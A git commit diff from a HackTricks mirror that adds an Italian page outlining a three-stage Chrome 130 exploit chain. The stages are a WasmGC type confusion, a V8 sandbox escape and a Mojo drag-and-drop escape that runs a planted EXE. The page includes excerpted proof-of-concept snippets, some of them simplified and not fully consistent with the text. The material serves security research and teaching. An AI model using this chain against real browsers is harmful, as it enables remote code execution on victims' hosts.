mirror of
https://github.com/HackTricks-wiki/hacktricks.git
synced 2025-10-10 18:36:50 +00:00
Translated ['src/binary-exploitation/chrome-exploiting.md'] to it
This commit is contained in:
Translator
parent
f90503460f
commit
55fcd87996
@ -761,6 +761,7 @@
|
||||
- [SROP - Sigreturn-Oriented Programming](binary-exploitation/rop-return-oriented-programing/srop-sigreturn-oriented-programming/README.md)
|
||||
- [SROP - ARM64](binary-exploitation/rop-return-oriented-programing/srop-sigreturn-oriented-programming/srop-arm64.md)
|
||||
- [Array Indexing](binary-exploitation/array-indexing.md)
|
||||
- [Chrome Exploiting](binary-exploitation/chrome-exploiting.md)
|
||||
- [Integer Overflow](binary-exploitation/integer-overflow.md)
|
||||
- [Format Strings](binary-exploitation/format-strings/README.md)
|
||||
- [Format Strings - Arbitrary Read Example](binary-exploitation/format-strings/format-strings-arbitrary-read-example.md)
|
||||
|
||||
170
src/binary-exploitation/chrome-exploiting.md
Normal file
170
src/binary-exploitation/chrome-exploiting.md
Normal file
@ -0,0 +1,170 @@
|
||||
# Chrome Exploiting
|
||||
|
||||
{{#include ../banners/hacktricks-training.md}}
|
||||
|
||||
> Questa pagina fornisce una panoramica **pratica** ad alto livello di un moderno flusso di lavoro di sfruttamento "full-chain" contro Google Chrome 130 basato sulla serie di ricerche **“101 Chrome Exploitation”** (Parte-0 — Prefazione).
|
||||
> L'obiettivo è fornire ai pentester e agli sviluppatori di exploit il background minimo necessario per riprodurre o adattare le tecniche per le proprie ricerche.
|
||||
|
||||
## 1. Riepilogo dell'Architettura di Chrome
|
||||
Comprendere la superficie di attacco richiede di sapere dove viene eseguito il codice e quali sandbox si applicano.
|
||||
```
|
||||
+-------------------------------------------------------------------------+
|
||||
| Chrome Browser |
|
||||
| |
|
||||
| +----------------------------+ +-----------------------------+ |
|
||||
| | Renderer Process | | Browser/main Process | |
|
||||
| | [No direct OS access] | | [OS access] | |
|
||||
| | +----------------------+ | | | |
|
||||
| | | V8 Sandbox | | | | |
|
||||
| | | [JavaScript / Wasm] | | | | |
|
||||
| | +----------------------+ | | | |
|
||||
| +----------------------------+ +-----------------------------+ |
|
||||
| | IPC/Mojo | |
|
||||
| V | |
|
||||
| +----------------------------+ | |
|
||||
| | GPU Process | | |
|
||||
| | [Restricted OS access] | | |
|
||||
| +----------------------------+ | |
|
||||
+-------------------------------------------------------------------------+
|
||||
```
|
||||
Layered defence-in-depth:
|
||||
|
||||
* **V8 sandbox** (Isolate): i permessi di memoria sono limitati per prevenire letture/scritture arbitrarie da JS / Wasm JITati.
|
||||
* La divisione **Renderer ↔ Browser** è garantita tramite il passaggio di messaggi **Mojo/IPC**; il renderer non ha *accesso* nativo al FS/rete.
|
||||
* Le **sandbox OS** contengono ulteriormente ogni processo (Windows Integrity Levels / `seccomp-bpf` / profili sandbox macOS).
|
||||
|
||||
Un attaccante *remoto* ha quindi bisogno di **tre** primitive successive:
|
||||
|
||||
1. Corruzione di memoria all'interno di V8 per ottenere **RW arbitrario all'interno dell'heap V8**.
|
||||
2. Un secondo bug che consente all'attaccante di **uscire dalla sandbox V8 per accedere alla memoria completa del renderer**.
|
||||
3. Una fuga finale dalla sandbox (spesso logica piuttosto che corruzione di memoria) per eseguire codice **al di fuori della sandbox di Chrome OS**.
|
||||
|
||||
---
|
||||
|
||||
## 2. Stage 1 – WebAssembly Type-Confusion (CVE-2025-0291)
|
||||
|
||||
Un difetto nell'ottimizzazione **Turboshaft** di TurboFan classifica erroneamente i **tipi di riferimento WasmGC** quando il valore è prodotto e consumato all'interno di un *singolo ciclo di blocco base*.
|
||||
|
||||
Effetto:
|
||||
* Il compilatore **salta il controllo del tipo**, trattando un *riferimento* (`externref/anyref`) come un *int64*.
|
||||
* Wasm creato consente di sovrapporre un'intestazione di oggetto JS con dati controllati dall'attaccante → <code>addrOf()</code> & <code>fakeObj()</code> **primitive AAW / AAR**.
|
||||
|
||||
PoC minima (estratto):
|
||||
```WebAssembly
|
||||
(module
|
||||
(type $t0 (func (param externref) (result externref)))
|
||||
(func $f (param $p externref) (result externref)
|
||||
(local $l externref)
|
||||
block $exit
|
||||
loop $loop
|
||||
local.get $p ;; value with real ref-type
|
||||
;; compiler incorrectly re-uses it as int64 in the same block
|
||||
br_if $exit ;; exit condition keeps us single-block
|
||||
br $loop
|
||||
end
|
||||
end)
|
||||
(export "f" (func $f)))
|
||||
```
|
||||
Ottimizzazione del trigger e spray di oggetti da JS:
|
||||
```js
|
||||
const wasmMod = new WebAssembly.Module(bytes);
|
||||
const wasmInst = new WebAssembly.Instance(wasmMod);
|
||||
const f = wasmInst.exports.f;
|
||||
|
||||
for (let i = 0; i < 1e5; ++i) f({}); // warm-up for JIT
|
||||
|
||||
// primitives
|
||||
let victim = {m: 13.37};
|
||||
let fake = arbitrary_data_backed_typedarray;
|
||||
let addrVict = addrOf(victim);
|
||||
```
|
||||
Risultato: **lettura/scrittura arbitraria all'interno di V8**.
|
||||
|
||||
---
|
||||
|
||||
## 3. Fase 2 – Uscita dal Sandbox di V8 (problema 379140430)
|
||||
|
||||
Quando una funzione Wasm viene compilata in modo tier-up, viene generato un **wrapper JS ↔ Wasm**. Un bug di mismatch della firma causa il wrapper a scrivere oltre la fine di un oggetto **`Tuple2`** fidato quando la funzione Wasm viene riottimizzata *mentre è ancora nello stack*.
|
||||
|
||||
Sovrascrivere i 2 × campi a 64 bit dell'oggetto `Tuple2` consente **lettura/scrittura su qualsiasi indirizzo all'interno del processo Renderer**, bypassando effettivamente il sandbox di V8.
|
||||
|
||||
Passaggi chiave nell'exploit:
|
||||
1. Portare la funzione nello stato **Tier-Up** alternando codice turbofan/baseline.
|
||||
2. Attivare il tier-up mantenendo un riferimento nello stack (`Function.prototype.apply`).
|
||||
3. Utilizzare AAR/AAW Fase-1 per trovare e corrompere il `Tuple2` adiacente.
|
||||
|
||||
Identificazione del wrapper:
|
||||
```js
|
||||
function wrapperGen(arg) {
|
||||
return f(arg);
|
||||
}
|
||||
%WasmTierUpFunction(f); // force tier-up (internals-only flag)
|
||||
wrapperGen(0x1337n);
|
||||
```
|
||||
Dopo la corruzione possediamo un **primitive R/W del renderer** completamente funzionale.
|
||||
|
||||
---
|
||||
|
||||
## 4. Fase 3 – Escape dal Sandbox del Renderer → OS (CVE-2024-11114)
|
||||
|
||||
L'interfaccia IPC **Mojo** `blink.mojom.DragService.startDragging()` può essere chiamata dal Renderer con parametri *parzialmente fidati*. Creando una struttura `DragData` che punta a un **percorso di file arbitrario**, il renderer convince il browser a eseguire un'operazione di drag-and-drop *nativa* **al di fuori del sandbox del renderer**.
|
||||
|
||||
Abusando di questo possiamo “trascinare” programmaticamente un EXE malevolo (precedentemente posizionato in una posizione scrivibile da tutti) sul Desktop, dove Windows esegue automaticamente determinati tipi di file una volta rilasciati.
|
||||
|
||||
Esempio (semplificato):
|
||||
```js
|
||||
const payloadPath = "C:\\Users\\Public\\explorer.exe";
|
||||
|
||||
chrome.webview.postMessage({
|
||||
type: "DragStart",
|
||||
data: {
|
||||
title: "MyFile",
|
||||
file_path: payloadPath,
|
||||
mime_type: "application/x-msdownload"
|
||||
}
|
||||
});
|
||||
```
|
||||
Non è necessaria ulteriore corruzione della memoria – il **difetto logico** ci consente di eseguire file arbitrari con i privilegi dell'utente.
|
||||
|
||||
---
|
||||
|
||||
## 5. Flusso della Catena Completa
|
||||
|
||||
1. **L'utente visita** una pagina web malevola.
|
||||
2. **Fase 1**: Il modulo Wasm sfrutta CVE-2025-0291 → heap V8 AAR/AAW.
|
||||
3. **Fase 2**: La discrepanza del wrapper corrompe `Tuple2` → fuga dalla sandbox V8.
|
||||
4. **Fase 3**: `startDragging()` IPC → fuga dalla sandbox del sistema operativo ed esecuzione del payload.
|
||||
|
||||
Risultato: **Esecuzione Remota di Codice (RCE)** sull'host (Chrome 130, Windows/Linux/macOS).
|
||||
|
||||
---
|
||||
|
||||
## 6. Configurazione del Laboratorio e Debugging
|
||||
```bash
|
||||
# Spin-up local HTTP server w/ PoCs
|
||||
npm i -g http-server
|
||||
git clone https://github.com/Petitoto/chromium-exploit-dev
|
||||
cd chromium-exploit-dev
|
||||
http-server -p 8000 -c -1
|
||||
|
||||
# Windows kernel debugging
|
||||
"C:\Program Files (x86)\Windows Kits\10\Debuggers\x64\windbgx.exe" -symbolpath srv*C:\symbols*https://msdl.microsoft.com/download/symbols
|
||||
```
|
||||
Utili flag quando si avvia una build *development* di Chrome:
|
||||
```bash
|
||||
chrome.exe --no-sandbox --disable-gpu --single-process --js-flags="--allow-natives-syntax"
|
||||
```
|
||||
---
|
||||
|
||||
## Takeaways
|
||||
|
||||
* **I bug JIT di WebAssembly** rimangono un punto d'ingresso affidabile – il sistema di tipi è ancora giovane.
|
||||
* Ottenere un secondo bug di corruzione della memoria all'interno di V8 (ad es. mismatch del wrapper) semplifica notevolmente **l'uscita dal sandbox di V8**.
|
||||
* Le debolezze a livello logico nelle interfacce IPC privilegiate di Mojo sono spesso sufficienti per una **uscita finale dal sandbox** – fai attenzione ai bug *non di memoria*.
|
||||
|
||||
|
||||
|
||||
## References
|
||||
* [101 Chrome Exploitation — Part 0 (Preface)](https://opzero.ru/en/press/101-chrome-exploitation-part-0-preface/)
|
||||
* [Architettura di sicurezza di Chromium](https://chromium.org/developers/design-documents/security)
|
||||
{{#include ../banners/hacktricks-training.md}}
|
||||
Loading…
x
Reference in New Issue
Block a user